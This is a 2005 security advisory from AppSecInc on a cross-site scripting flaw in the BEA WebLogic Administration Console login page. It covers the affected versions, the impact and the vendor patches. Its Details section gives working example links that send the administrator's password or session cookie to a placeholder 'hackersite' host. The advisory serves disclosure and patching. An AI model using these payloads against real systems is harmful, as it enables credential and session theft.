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BEA WebLogic Administration Console login page cross-site scripting vulnerability
AppSecInc Team SHATTER Security Advisory BEA05-V0101 http://www.appsecinc.com/resources/alerts/general/BEA-002.html May 27, 2005
Affected versions: BEA WebLogic Server 7.0 and 8.1
Risk level: High
Credits: This vulnerability was discovered and researched by Agustín Martínez Fayó of Argeniss for Application Security Inc.
Background: The Administration Console is a web browser-based, graphical user interface used to manage a WebLogic Server domain. The Administration Console supports a full range of product administrative tasks. A cross-site scripting vulnerability exists in the login page of the Console.
Details: Cross-site scripting vulnerabilities occur when an attacker tricks a legitimate web application into sending malicious code, generally in the form of a script, to an unsuspecting end user. The attack usually involves crafting a hyperlink with malicious script code embedded within it. A valid user is likely to click this link since it points to a resource on a trusted domain. The link can be posted on a web page, or sent in an instant message, or email. Clicking on the link executes the attacker-injected code in the context of the trusted web application. Typically, the code steals session cookies, which can then be used to impersonate a valid user.
The "j_username" and "j_password" parameters in the login page of the Administration Console are vulnerable to cross-site scripting attacks. User supplied input to these parameters is returned without proper sanitization, allowing a malicious attacker to inject arbitrary scripting code.
Below are some examples of the hyperlinks an attacker could use.
Steal administrator's password: http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.all.j_password.value)" Get the session cookie : http://vulnerablesite:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)" or http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"
Impact: Attackers can steal administrator's session cookies and password, thereby allowing the attacker to impersonate the valid user.
Workaround: There is no workaround for this issue.
Vendor Status: Vendor was contacted and a patch was released.
Fix: For BEA WebLogic Server and WebLogic Express 8.1 upgrade to Service Pack 4. Apply the patch on top of it located at ftp://ftpna.bea.com/pub/releases/security/CR202495_810sp4.jar on top of the service packs. For BEA WebLogic Server and WebLogic Express 7.0 upgrade to Service Pack 6. Apply the patch located at ftp://ftpna.bea.com/pub/releases/security/CR214457_700sp6.jar on top of the service packs.
Links: Application Security, Inc advisory: http://www.appsecinc.com/resources/alerts/general/BEA-002.html BEA Advisory: http://dev2dev.bea.com/pub/advisory/130
Application Security, Inc. www.appsecinc.com AppSecInc is the leading provider of database security solutions for the enterprise. AppSecInc products proactively secure enterprise applications at more than 300 organizations around the world by discovering, assessing, and protecting the database against rapidly changing security threats. By securing data at its source, we enable organizations to more confidently extend their business with customers, partners and suppliers. Our security experts, combined with our strong support team, deliver up-to-date application safeguards that minimize risk and eliminate its impact on business.
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